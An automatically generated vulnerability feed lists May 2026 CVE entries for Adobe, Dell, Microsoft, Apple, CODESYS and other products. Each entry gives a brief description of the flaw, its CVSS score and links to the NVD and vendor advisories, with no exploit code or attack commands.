NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-34682
Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current... (May 12, 2026).
Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34682).
Sources:
NVD CVE-2026-34682: https://nvd.nist.gov/vuln/detail/CVE-2026-34682
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-34683
Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current... (May 12, 2026).
Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34683).
Sources:
NVD CVE-2026-34683: https://nvd.nist.gov/vuln/detail/CVE-2026-34683
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could...
https://kevwire.com/record/CVE-2026-34686
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could... (May 12, 2026).
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.
CVSS 8.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34686).
Sources:
NVD CVE-2026-34686: https://nvd.nist.gov/vuln/detail/CVE-2026-34686
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/magento/apsb26-49.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Illustrator versions 29.8.6, 30.3 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the...
https://kevwire.com/record/CVE-2026-34687
Illustrator versions 29.8.6, 30.3 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the... (May 12, 2026).
Illustrator versions 29.8.6, 30.3 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34687).
Sources:
NVD CVE-2026-34687: https://nvd.nist.gov/vuln/detail/CVE-2026-34687
Vendor advisory (via NVD references): https://helpx.adobe.com/security/products/illustrator/apsb26-51.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Illustrator versions 29.8.6, 30.3 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### After Effects is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-34690
After Effects is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. (May 12, 2026).
After Effects is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34690).
Sources:
NVD CVE-2026-34690: https://nvd.nist.gov/vuln/detail/CVE-2026-34690
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
After Effects is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dell PowerScale InsightIQ, versions 6.0.0 through 6.2.0, contains an improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability.
https://kevwire.com/record/CVE-2026-35071
Dell PowerScale InsightIQ, versions 6.0.0 through 6.2.0, contains an improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability. (May 12, 2026).
Dell PowerScale InsightIQ, versions 6.0.0 through 6.2.0, contains an improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Command execution.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35071).
Sources:
NVD CVE-2026-35071: https://nvd.nist.gov/vuln/detail/CVE-2026-35071
Vendor advisory (via NVD references): https://www.dell.com/support/kbdoc/en-us/000463695/dsa-2026-208-security-update-for-dell-powerscale-insightiq-multiple-vulnerabilities
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Dell PowerScale InsightIQ, versions 6.0.0 through 6.2.0, contains an improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Command execution.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains an improper neutralization of formula elements in a CSV File vulnerability in...
https://kevwire.com/record/CVE-2026-35157
Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains an improper neutralization of formula elements in a CSV File vulnerability in... (May 11, 2026).
Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains an improper neutralization of formula elements in a CSV File vulnerability in the UI. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution.
CVSS 5.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35157).
Sources:
NVD CVE-2026-35157: https://nvd.nist.gov/vuln/detail/CVE-2026-35157
Vendor advisory (via NVD references): https://www.dell.com/support/kbdoc/en-us/000462117/dsa-2026-047-security-update-for-dell-ecs-and-objectscale-multiple-vulnerabilities-1
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains an improper neutralization of formula elements in a CSV File vulnerability in the UI. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated remote attacker may exhaust all available TCP connections in the CODESYS Modbus TCP Server stack if a race condition in connection handling is successfully...
https://kevwire.com/record/CVE-2026-35227
An unauthenticated remote attacker may exhaust all available TCP connections in the CODESYS Modbus TCP Server stack if a race condition in connection handling is successfully... (May 12, 2026).
An unauthenticated remote attacker may exhaust all available TCP connections in the CODESYS Modbus TCP Server stack if a race condition in connection handling is successfully exploited, preventing legitimate clients from establishing new connections.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35227).
Sources:
NVD CVE-2026-35227: https://nvd.nist.gov/vuln/detail/CVE-2026-35227
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An unauthenticated remote attacker may exhaust all available TCP connections in the CODESYS Modbus TCP Server stack if a race condition in connection handling is successfully exploited, preventing legitimate clients from establishing new connections.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-35420
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (May 12, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35420).
Sources:
NVD CVE-2026-35420: https://nvd.nist.gov/vuln/detail/CVE-2026-35420
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in .NET allows an unauthorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-35433
Improper input validation in .NET allows an unauthorized attacker to elevate privileges locally. (May 12, 2026).
Improper input validation in .NET allows an unauthorized attacker to elevate privileges locally.
CVSS 7.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35433).
Sources:
NVD CVE-2026-35433: https://nvd.nist.gov/vuln/detail/CVE-2026-35433
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper input validation in .NET allows an unauthorized attacker to elevate privileges locally.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-35436
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally. (May 12, 2026).
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35436).
Sources:
NVD CVE-2026-35436: https://nvd.nist.gov/vuln/detail/CVE-2026-35436
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in Windows Admin Center allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-35438
Missing authorization in Windows Admin Center allows an authorized attacker to elevate privileges over a network. (May 12, 2026).
Missing authorization in Windows Admin Center allows an authorized attacker to elevate privileges over a network.
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35438).
Sources:
NVD CVE-2026-35438: https://nvd.nist.gov/vuln/detail/CVE-2026-35438
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Missing authorization in Windows Admin Center allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-35439
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (May 12, 2026).
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35439).
Sources:
NVD CVE-2026-35439: https://nvd.nist.gov/vuln/detail/CVE-2026-35439
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization vulnerability in Arraytics Timetics allows Exploiting Incorrectly Configured Access Control Security Levels.
https://kevwire.com/record/CVE-2026-39432
Missing Authorization vulnerability in Arraytics Timetics allows Exploiting Incorrectly Configured Access Control Security Levels. (May 12, 2026).
Missing Authorization vulnerability in Arraytics Timetics allows Exploiting Incorrectly Configured Access Control Security Levels.

This issue affects Timetics: from n/a through 1.0.53.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-39432).
Sources:
NVD CVE-2026-39432: https://nvd.nist.gov/vuln/detail/CVE-2026-39432
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Missing Authorization vulnerability in Arraytics Timetics allows Exploiting Incorrectly Configured Access Control Security Levels.

This issue affects Timetics: from n/a through 1.0.53.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved memory handling.
https://kevwire.com/record/CVE-2026-39870
The issue was addressed with improved memory handling. (May 11, 2026).
The issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Processing a maliciously crafted image may corrupt process memory.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-39870).
Sources:
NVD CVE-2026-39870: https://nvd.nist.gov/vuln/detail/CVE-2026-39870
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The issue was addressed with improved memory handling. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Processing a maliciously crafted image may corrupt process memory.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A path handling issue was addressed with improved logic.
https://kevwire.com/record/CVE-2026-39871
A path handling issue was addressed with improved logic. (May 11, 2026).
A path handling issue was addressed with improved logic. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to observe unprotected user data.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-39871).
Sources:
NVD CVE-2026-39871: https://nvd.nist.gov/vuln/detail/CVE-2026-39871
Vendor advisory (via NVD references): https://support.apple.com/en-us/127115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A path handling issue was addressed with improved logic. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to observe unprotected user data.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-40357
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (May 12, 2026).
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40357).
Sources:
NVD CVE-2026-40357: https://nvd.nist.gov/vuln/detail/CVE-2026-40357
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-40358
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally. (May 12, 2026).
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.
CVSS 8.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40358).
Sources:
NVD CVE-2026-40358: https://nvd.nist.gov/vuln/detail/CVE-2026-40358
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-40361
Use after free in Microsoft Office allows an unauthorized attacker to execute code locally. (May 12, 2026).
Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.
CVSS 8.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40361).
Sources:
NVD CVE-2026-40361: https://nvd.nist.gov/vuln/detail/CVE-2026-40361
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-40362
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally. (May 12, 2026).
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40362).
Sources:
NVD CVE-2026-40362: https://nvd.nist.gov/vuln/detail/CVE-2026-40362
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-40363
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally. (May 12, 2026).
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.
CVSS 8.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40363).
Sources:
NVD CVE-2026-40363: https://nvd.nist.gov/vuln/detail/CVE-2026-40363
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-40364
Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally. (May 12, 2026).
Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.
CVSS 8.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40364).
Sources:
NVD CVE-2026-40364: https://nvd.nist.gov/vuln/detail/CVE-2026-40364
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-40365
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (May 12, 2026).
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40365).
Sources:
NVD CVE-2026-40365: https://nvd.nist.gov/vuln/detail/CVE-2026-40365
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-40366
Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally. (May 12, 2026).
Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.
CVSS 8.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40366).
Sources:
NVD CVE-2026-40366: https://nvd.nist.gov/vuln/detail/CVE-2026-40366
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-40367
Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally. (May 12, 2026).
Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.
CVSS 8.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40367).
Sources:
NVD CVE-2026-40367: https://nvd.nist.gov/vuln/detail/CVE-2026-40367
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
